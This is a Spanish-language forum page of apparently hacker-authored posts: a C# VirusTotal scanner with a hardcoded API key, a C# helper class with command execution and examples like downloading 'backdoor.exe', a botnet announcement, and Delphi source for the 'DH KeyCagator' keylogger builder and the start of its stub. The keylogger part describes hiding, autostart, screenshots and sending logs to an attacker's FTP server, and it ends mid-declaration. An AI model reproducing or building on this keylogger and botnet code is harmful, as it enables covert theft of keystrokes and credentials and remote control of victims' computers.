                textBox1.Text = openFileDialog1.FileName;
            }
        }

        private void button2_Click(object sender, EventArgs e)
        {

            DH_Tools tools = new DH_Tools();

            if (File.Exists(textBox1.Text))
            {

                string md5 = tools.md5file(textBox1.Text);

                listView1.Items.Clear();
                richTextBox1.Clear();

                string apikey = "07d6f7d301eb1ca58931a396643b91e4c98f830dcaf52aa646f034c876689064"; // API Key
                toolStripStatusLabel1.Text = "[+] Scanning ...";
                this.Refresh();
               
                string code = tools.tomar("http://www.virustotal.com/vtapi/v2/file/report", "resource=" + md5 + "&apikey=" + apikey);
                code = code.Replace("{\"scans\":", "");

                string anti = "";
                string reanti = "";

                Match regex = Regex.Match(code, "\"(.*?)\": {\"detected\": (.*?), \"version\": (.*?), \"result\": (.*?), \"update\": (.*?)}", RegexOptions.IgnoreCase);

                while (regex.Success)
                {
                    anti = regex.Groups[1].Value;
                    reanti = regex.Groups[4].Value;
                    reanti = reanti.Replace("\"", "");

                    ListViewItem item = new ListViewItem();
                    if (reanti == "null")
                    {
                        item.ForeColor = Color.Cyan;
                        reanti = "Clean";
                    }
                    else
                    {
                        item.ForeColor = Color.Red;
                    }

                    item.Text = anti;
                    item.SubItems.Add(reanti);

                    listView1.Items.Add(item);

                    regex = regex.NextMatch();
                }

                regex = Regex.Match(code, "\"scan_id\": \"(.*?)\"", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    richTextBox1.AppendText("[+] Scan_ID : " + regex.Groups[1].Value + Environment.NewLine);
                }
                else
                {
                    MessageBox.Show("Not Found");
                }

                regex = Regex.Match(code, "\"scan_date\": \"(.*?)\"", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    richTextBox1.AppendText("[+] Scan_Date : " + regex.Groups[1].Value + Environment.NewLine);
                }

                regex = Regex.Match(code, "\"permalink\": \"(.*?)\"", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    richTextBox1.AppendText("[+] PermaLink : " + regex.Groups[1].Value + Environment.NewLine);
                }

                regex = Regex.Match(code, "\"verbose_msg\": \"(.*?)\", \"total\": (.*?), \"positives\": (.*?),", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    richTextBox1.AppendText("[+] Founds : " + regex.Groups[3].Value + "/" + regex.Groups[2].Value + Environment.NewLine);
                }

                toolStripStatusLabel1.Text = "[+] Finished";
                this.Refresh();


            }
            else
            {
                MessageBox.Show("File not found");
            }
           

        }
    }
}

// The End ?


DH_Tools.cs

Código (csharp) [Seleccionar]

// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//

using System;
using System.Collections.Generic;
using System.Text;

using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

namespace virustotalscanner
{
    class DH_Tools
    {
        public string toma(string url)
        {
            string code = "";

            try
            {
                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                code = nave.DownloadString(url);
            }
            catch
            {
                //
            }
            return code;
        }

        public string tomar(string url, string par)
        {

            string code = "";

            try
            {

                HttpWebRequest nave = (HttpWebRequest)
                WebRequest.Create(url);

                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                nave.Method = "POST";
                nave.ContentType = "application/x-www-form-urlencoded";

                Stream anteantecode = nave.GetRequestStream();

                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                anteantecode.Close();

                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                code = antecode.ReadToEnd();

            }
            catch
            {
                //
            }

            return code;

        }

        public string respondecode(string url)
        {
            String code = "";
            try
            {
                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                int number = (int)num.StatusCode;
                code = Convert.ToString(number);

            }
            catch
            {

                code = "404";

            }
            return code;
        }

        public string httpfinger(string url)
        {

            String code = "";

            try
            {

                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                for (int num = 0; num < nave2.Headers.Count; ++num)
                {
                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                }

                nave2.Close();
            }
            catch
            {
                //
            }

            return code;

        }

        public string openword(string file)
        {
            String code = "";
            try
            {
                code = System.IO.File.ReadAllText(file);
            }
            catch
            {
                //
            }
            return code;
        }

        public void savefile(string file, string texto)
        {

            try
            {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
            }
            catch
            {
                //
            }
        }

        public string getos()
        {
            string code = "";

            try
            {
                System.OperatingSystem os = System.Environment.OSVersion;
                code = Convert.ToString(os);
            }
            catch
            {
                code = "?";
            }

            return code;
        }

        public List<string> repes(List<string> array)
        {
            List<string> repe = new List<string>();
            foreach (string lin in array)
            {
                if (!repe.Contains(lin))
                {
                    repe.Add(lin);
                }
            }

            return repe;

        }

        public List<string> cortar(List<string> otroarray)
        {
            List<string> cort = new List<string>();

            foreach (string row in otroarray)
            {

                String lineafinal = "";

                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                    cort.Add(lineafinal);
                }

            }

            return cort;
        }

        public string download(string url, string savename)
        {

            String code = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            try
            {
                nave.DownloadFile(url, savename);
                code = "OK";
            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string upload(string link, string archivo)
        {

            String code = "";

            try
            {

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                byte[] codedos = nave.UploadFile(link, "POST", archivo);
                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string basename(string file)
        {
            String nombre = "";

            FileInfo basename = new FileInfo(file);
            nombre = basename.Name;

            return nombre;

        }

        public string console(string cmd)
        {

            string code = "";

            try
            {

                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                loadnow.RedirectStandardOutput = true;
                loadnow.UseShellExecute = false;
                loadnow.CreateNoWindow = true;
                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                loadnownow.StartInfo = loadnow;
                loadnownow.Start();
                code = loadnownow.StandardOutput.ReadToEnd();

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string urisplit(string url, string opcion)
        {

            string code = "";

            Uri dividir = new Uri(url);

            if (opcion == "host")
            {
                code = dividir.Host;
            }

            if (opcion == "port")
            {
                code = Convert.ToString(dividir.Port);
            }

            if (opcion == "path")
            {
                code = dividir.LocalPath;
            }

            if (opcion == "file")
            {
                code = dividir.AbsolutePath;
                FileInfo basename = new FileInfo(code);
                code = basename.Name;
            }

            if (opcion == "query")
            {
                code = dividir.Query;
            }

            if (opcion == "")
            {
                code = "Error";
            }

            return code;
        }

        public string convertir_md5(string text)
        {
            MD5 convertirmd5 = MD5.Create();
            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
            StringBuilder guardar = new StringBuilder();
            for (int numnow = 0; numnow < infovalor.Length; numnow++)
            {
                guardar.Append(infovalor[numnow].ToString("x2"));
            }
            return guardar.ToString();
        }

        public string md5file(string file)
        {

            string code = "";

            try
            {
                var gen = MD5.Create();
                var ar = File.OpenRead(file);
                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();

            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string getip(string host)
        {
            string code = "";
            try
            {
                IPAddress[] find = Dns.GetHostAddresses(host);
                code = find[0].ToString();
            }
            catch
            {
                code = "Error";
            }
            return code;
        }

    }
}

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#103
.NET (C#, VB.NET, ASP) / [C#] Clase DH Tools
20 Junio 2014, 16:04 PM
Mi primer clase que hice practicando en C#

Con las siguientes funciones :

  • Realizar peticiones GET & POST
  • Ver el numero de HTTP Status en una pagina
  • HTTP FingerPrinting
  • Leer un archivo
  • Escribir o crear un archivo
  • Ver el sistema operativo actual
  • Elimina duplicados en una lista
  • Corta URLS en una lista
  • Descargar y subir archivos
  • Ver el nombre del archivo en una ruta
  • Ejecutar comandos
  • URI Split
  • MD5 Hash Generator
  • Ver el MD5 de un archivo
  • Ver la IP de un hostname

    El codigo de la clase :

    Código (csharp) [Seleccionar]

    // Class Name : DH Tools
    // Version : Beta
    // Author : Doddy Hackman
    // (C) Doddy Hackman 2014
    //
    // Functions :
    //
    // [+] HTTP Methods GET & POST
    // [+] Get HTTP Status code number
    // [+] HTTP FingerPrinting
    // [+] Read File
    // [+] Write File
    // [+] GET OS
    // [+] Remove duplicates from a List
    // [+] Cut urls from a List
    // [+] Download
    // [+] Upload
    // [+] Get Basename from a path
    // [+] Execute commands
    // [+] URI Split
    // [+] MD5 Hash Generator
    // [+] Get MD5 of file
    // [+] Get IP address from host name
    //
    // Credits :
    //
    // Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
    // Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
    // HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
    // List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
    // Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
    // MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
    // Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
    //
    // Thanks to : $DoC and atheros14 (Forum indetectables)
    //

    using System;
    using System.Collections.Generic;
    using System.Text;

    using System.Net;
    using System.IO;
    using System.Text.RegularExpressions;
    using System.Security.Cryptography;

    namespace clasewebtools
    {
        class DH_Tools
        {
            public string toma(string url)
            {
                string code = "";

                try
                {
                    WebClient nave = new WebClient();
                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    code = nave.DownloadString(url);
                }
                catch
                {
                    //
                }
                return code;
            }

            public string tomar(string url, string par)
            {

                string code = "";

                try
                {

                    HttpWebRequest nave = (HttpWebRequest)
                    WebRequest.Create(url);

                    nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    nave.Method = "POST";
                    nave.ContentType = "application/x-www-form-urlencoded";

                    Stream anteantecode = nave.GetRequestStream();

                    anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                    anteantecode.Close();

                    StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                    code = antecode.ReadToEnd();

                }
                catch
                {
                    //
                }

                return code;

            }

            public string respondecode(string url)
            {
                String code = "";
                try
                {
                    HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                    nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                    int number = (int)num.StatusCode;
                    code = Convert.ToString(number);

                }
                catch
                {

                    code = "404";

                }
                return code;
            }

            public string httpfinger(string url)
            {

                String code = "";

                try
                {

                    HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                    HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                    for (int num = 0; num < nave2.Headers.Count; ++num)
                    {
                        code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                    }

                    nave2.Close();
                }
                catch
                {
                    //
                }

                return code;

            }

            public string openword(string file)
            {
                String code = "";
                try
                {
                    code = System.IO.File.ReadAllText(file);
                }
                catch
                {
                    //
                }
                return code;
            }

            public void savefile(string file,string texto) {

                try {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
                }
                catch {
                    //
                }
            }

            public string getos()
            {
                string code = "";

                try
                {
                    System.OperatingSystem os = System.Environment.OSVersion;
                    code = Convert.ToString(os);
                }
                catch
                {
                    code = "?";
                }

                return code;
            }

            public List<string> repes(List<string> array)
            {
                List<string> repe = new List<string>();
                foreach (string lin in array)
                {
                    if (!repe.Contains(lin))
                    {
                        repe.Add(lin);
                    }
                }

                return repe;

            }

            public List<string> cortar(List<string> otroarray)
            {
                List<string> cort = new List<string>();

                foreach (string row in otroarray)
                {

                    String lineafinal = "";

                    Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                        cort.Add(lineafinal);
                    }

                }

                return cort;
            }

            public string download(string url,string savename)
            {

                String code = "";

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

                try
                {
                    nave.DownloadFile(url, savename);
                    code = "OK";
                }
                catch
                {
                    code = "Error";
                }

                return code;
            }

            public string upload(string link,string archivo)
            {

                String code = "";

                try
                {

                    WebClient nave = new WebClient();
                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    byte[] codedos = nave.UploadFile(link, "POST", archivo);
                    code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

                }

                catch
                {
                    code = "Error";
                }

                return code;
               
            }

            public string basename(string file)
            {
                String nombre = "";

                FileInfo basename = new FileInfo(file);
                nombre = basename.Name;

                return nombre;

            }

            public string console(string cmd)
            {

                string code = "";

                try
                {

                    System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                    loadnow.RedirectStandardOutput = true;
                    loadnow.UseShellExecute = false;
                    loadnow.CreateNoWindow = true;
                    System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                    loadnownow.StartInfo = loadnow;
                    loadnownow.Start();
                    code = loadnownow.StandardOutput.ReadToEnd();

                }

                catch
                {
                    code = "Error";
                }

                return code;

            }

            public string urisplit(string url,string opcion)
            {

                string code = "";

                Uri dividir = new Uri(url);

                if (opcion == "host")
                {
                    code = dividir.Host;
                }

                if (opcion == "port")
                {
                    code = Convert.ToString(dividir.Port);
                }

                if (opcion == "path")
                {
                    code = dividir.LocalPath;
                }

                if (opcion == "file")
                {
                    code = dividir.AbsolutePath;
                    FileInfo basename = new FileInfo(code);
                    code = basename.Name;
                }

                if (opcion == "query")
                {
                    code = dividir.Query;
                }

                if (opcion == "")
                {
                    code = "Error";
                }

                return code;
            }

            public string convertir_md5(string text)
            {
                MD5 convertirmd5 = MD5.Create();
                byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
                StringBuilder guardar = new StringBuilder();
                for (int numnow = 0; numnow < infovalor.Length; numnow++)
                {
                    guardar.Append(infovalor[numnow].ToString("x2"));
                }
                return guardar.ToString();
            }

            public string md5file(string file)
            {

                string code = "";

                try
                {
                    var gen = MD5.Create();
                    var ar = File.OpenRead(file);
                    code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();
                   
                }
                catch
                {
                    code = "Error";
                }

                return code;
            }

            public string getip(string host)
            {
                string code = "";
                try
                {
                    IPAddress[] find = Dns.GetHostAddresses(host);
                    code = find[0].ToString();
                }
                catch
                {
                    code = "Error";
                }
                return code;
            }
       
        }
    }

    // The End ?


    Con los siguientes ejemplos de uso :

    Código (csharp) [Seleccionar]

    namespace clasewebtools
    {
        public partial class Form1 : Form
        {
            public Form1()
            {
                InitializeComponent();
            }

            private void button1_Click(object sender, EventArgs e)
            {

                // Examples

                DH_Tools tools = new DH_Tools();

                // The GET Method
                //string code = tools.toma("http://www.petardas.com/index.php");

                // The POST Method
                //string code = tools.tomar("http://localhost/pos.php", "probar=test&yeah=dos&control=Now");

                // HTTP Status code number
                //string code = tools.respondecode("http://www.petardas.com/index.php");

                // HTTP FingerPrinting
                //string code = tools.httpfinger("http://www.petardas.com/index.php");

                // Read File
                //string code = tools.openword("C:/test.txt");

                // Write File
                //tools.savefile("test.txt","yeah");

                // GET OS
                //string code = tools.getos();

                /* Remove duplicates from a List
               
                List<string> arrays = new List<string> { "test", "test", "test", "bye", "bye" };

                List<string> limpio = tools.repes(arrays);

                foreach (string text in limpio)
                {
                    richTextBox1.AppendText(text + Environment.NewLine);
                }
               
                */

                /* Cut urls from a List
               
                List<string> lista = new List<string> { "http://localhost1/sql.php?id=adsasdsadsa", "http://localhost2/sql.php?id=adsasdsadsa",
                "http://localhost3/sql.php?id=adsasdsadsa"};

                List<string> cortar = tools.cortar(lista);
                               
                foreach (string test in cortar)
                {
                    richTextBox1.AppendText(test + Environment.NewLine);
                }
               
                */

                // Download File
                //string code = tools.download("http://localhost/backdoor.exe", "backdoor.exe");

                // Upload File
                //string code = tools.upload("http://localhost/uploads/upload.php", "c:/test.txt");

                // Get Basename from a path
                //string code = tools.basename("c:/dsaaads/test.txt");

                // Execute commands
                //string code = tools.console("net user");

                // URI Split
                // Options : host,port,path,file,query
                //string code = tools.urisplit("http://localhost/dsadsadsa/sql.php?id=dsadasd","host");

                // MD5 Hash Generator
                //string code = convertir_md5("123");

                // Get MD5 of file
                //string code = tools.md5file("c:/test.txt");

                // Get IP address from host name
                //string code = tools.getip("www.petardas.com");

            }
        }
    }
#104
Programación General / [Delphi] DH Botnet 0.8
13 Junio 2014, 22:14 PM
Version final de esta botnet con las siguientes opciones :

  • Ejecucion de comandos
  • Listar procesos activos
  • Matar procesos
  • Listar archivos de un directorio
  • Borrar un archivo o directorio cualquiera
  • Leer archivos
  • Abrir y cerrar lectora
  • Ocultar y mostrar programas del escritorio
  • Ocultar y mostrar Taskbar
  • Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
  • Hacer que el teclado escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla

    Unas imagenes :





    Un video con un ejemplo de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=96UdqMHQbXY[/youtube]

    Si lo quieren bajar lo pueden hacer de aca.
#105
Version final de este keylogger con las siguientes opciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

    Una imagen :



    Un video con un ejemplo de uso :

    [youtube=640,360]http://www.youtube.com/watch?v=anH-lUv4LIk[/youtube]

    El codigo :

    El Generador :

    Código (delphi) [Seleccionar]

    // DH KeyCagator 1.0
    // (C) Doddy Hackman 2014
    // Keylogger Generator
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to Chokstyle

    unit dhkey;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.jpeg,
      Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Imaging.pngimage, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
      IdFTP, ShellApi, MadRes;

    type
      TForm1 = class(TForm)
        Image1: TImage;
        StatusBar1: TStatusBar;
        PageControl1: TPageControl;
        TabSheet1: TTabSheet;
        GroupBox1: TGroupBox;
        GroupBox2: TGroupBox;
        RadioButton1: TRadioButton;
        RadioButton2: TRadioButton;
        ComboBox1: TComboBox;
        Edit2: TEdit;
        GroupBox3: TGroupBox;
        TabSheet2: TTabSheet;
        Edit1: TEdit;
        GroupBox4: TGroupBox;
        CheckBox1: TCheckBox;
        Edit3: TEdit;
        Label1: TLabel;
        TabSheet3: TTabSheet;
        GroupBox5: TGroupBox;
        GroupBox6: TGroupBox;
        CheckBox2: TCheckBox;
        Edit4: TEdit;
        Label2: TLabel;
        GroupBox7: TGroupBox;
        Label3: TLabel;
        Edit5: TEdit;
        Label4: TLabel;
        Edit7: TEdit;
        Label5: TLabel;
        Edit8: TEdit;
        Label6: TLabel;
        Edit6: TEdit;
        TabSheet4: TTabSheet;
        GroupBox8: TGroupBox;
        GroupBox9: TGroupBox;
        Label7: TLabel;
        Edit9: TEdit;
        Label8: TLabel;
        Edit11: TEdit;
        Label9: TLabel;
        Edit12: TEdit;
        Label10: TLabel;
        Edit10: TEdit;
        GroupBox10: TGroupBox;
        Button1: TButton;
        GroupBox12: TGroupBox;
        Button2: TButton;
        CheckBox3: TCheckBox;
        IdFTP1: TIdFTP;
        TabSheet6: TTabSheet;
        GroupBox11: TGroupBox;
        Image2: TImage;
        Memo1: TMemo;
        OpenDialog1: TOpenDialog;
        procedure Button1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Button2Click(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    {$R *.dfm}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    procedure TForm1.Button1Click(Sender: TObject);
    var
      i: integer;
      dir: string;
      busqueda: TSearchRec;

    begin

      IdFTP1.Host := Edit9.Text;
      IdFTP1.Username := Edit11.Text;
      IdFTP1.Password := Edit12.Text;

      dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';

      try
        begin
          FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
          DeleteFile(dir + '\' + busqueda.Name);
          while FindNext(busqueda) = 0 do
          begin
            DeleteFile(dir + '\' + busqueda.Name);
          end;
          FindClose(busqueda);

          rmdir(dir);
        end;
      except
        //
      end;

      if not(DirectoryExists(dir)) then
      begin
        CreateDir(dir);
      end;

      ChDir(dir);

      try
        begin
          IdFTP1.Connect;
          IdFTP1.ChangeDir(Edit10.Text);

          IdFTP1.List('*.*', True);

          for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
          begin
            IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
              IdFTP1.DirectoryListing.Items[i].FileName, False, False);
          end;

          ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);

          IdFTP1.Disconnect;
          IdFTP1.Free;
        end;
      except
        //
      end;

    end;

    procedure TForm1.Button2Click(Sender: TObject);
    var
      lineafinal: string;

      savein_especial: string;
      savein: string;
      foldername: string;
      bankop: string;

      capture_op: string;
      capture_seconds: integer;

      ftp_op: string;
      ftp_seconds: integer;
      ftp_host_txt: string;
      ftp_user_txt: string;
      ftp_pass_txt: string;
      ftp_path_txt: string;

      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;

      stubgenerado: string;
      op: string;
      change: DWORD;
      valor: string;

    begin

      if (RadioButton1.Checked = True) then

      begin

        savein_especial := '0';

        if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
          savein := ComboBox1.Items[ComboBox1.ItemIndex];
        end;

      end;

      if (RadioButton2.Checked = True) then
      begin
        savein_especial := '1';
        savein := Edit2.Text;
      end;

      foldername := Edit1.Text;

      if (CheckBox1.Checked = True) then
      begin
        capture_op := '1';
      end
      else
      begin
        capture_op := '0';
      end;

      capture_seconds := StrToInt(Edit3.Text) * 1000;

      if (CheckBox2.Checked = True) then
      begin
        ftp_op := '1';
      end
      else
      begin
        ftp_op := '0';
      end;

      if (CheckBox3.Checked = True) then
      begin
        bankop := '1';
      end
      else
      begin
        bankop := '0';
      end;

      ftp_seconds := StrToInt(Edit4.Text) * 1000;

      ftp_host_txt := Edit5.Text;
      ftp_user_txt := Edit7.Text;
      ftp_pass_txt := Edit8.Text;
      ftp_path_txt := Edit6.Text;

      lineafinal := '[63686175]' + dhencode('[opsave]' + savein_especial +
        '[opsave]' + '[save]' + savein + '[save]' + '[folder]' + foldername +
        '[folder]' + '[capture_op]' + capture_op + '[capture_op]' +
        '[capture_seconds]' + IntToStr(capture_seconds) + '[capture_seconds]' +
        '[bank]' + bankop + '[bank]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
        '[ftp_seconds]' + IntToStr(ftp_seconds) + '[ftp_seconds]' + '[ftp_host]' +
        ftp_host_txt + '[ftp_host]' + '[ftp_user]' + ftp_user_txt + '[ftp_user]' +
        '[ftp_pass]' + ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt +
        '[ftp_path]', 'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      stubgenerado := 'keycagator_ready.exe';

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
        'Data/keycagator.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
        stubgenerado), True);

      StrCopy(code, PChar(lineafinal));
      aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
        FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');

      if (op = 'Yes') then
      begin
        OpenDialog1.InitialDir := GetCurrentDir;
        if OpenDialog1.Execute then
        begin

          try
            begin

              valor := IntToStr(128);

              change := BeginUpdateResourceW
                (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
                stubgenerado)), False);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(OpenDialog1.FileName)));
              EndUpdateResourceW(change, False);
              StatusBar1.Panels[0].Text := '[+] Done ';
              StatusBar1.Update;
            end;
          except
            begin
              StatusBar1.Panels[0].Text := '[-] Error';
              StatusBar1.Update;
            end;
          end;
        end
        else
        begin
          StatusBar1.Panels[0].Text := '[+] Done ';
          StatusBar1.Update;
        end;
      end
      else
      begin
        StatusBar1.Panels[0].Text := '[+] Done ';
        StatusBar1.Update;
      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog1.Filter := 'ICO|*.ico|';
    end;

    end.

    // The End ?


    El stub.

    Código (delphi) [Seleccionar]

    // DH KeyCagator 1.0
    // (C) Doddy Hackman 2014

    program keycagator;

    // {$APPTYPE CONSOLE}

    uses
      SysUtils, Windows, WinInet, ShellApi, Vcl.Graphics, Vcl.Imaging.jpeg;

    var
      nombrereal: string;
      rutareal: string;
      yalisto: string;
      registro: HKEY;
      dir: string;
      time: integer;

      dir_hide: string;
      time_screen: integer;
      time_ftp: integer;
      ftp_host: Pchar;
      ftp_user: Pchar;
      ftp_password: Pchar;
      ftp_dir: Pchar;

      carpeta: string;
      directorio: string;
      bankop: string;
      dir_normal: string;
      dir_especial: string;
      ftp_online: string;
      screen_online: string;
      activado: string;

      ob: THandle;
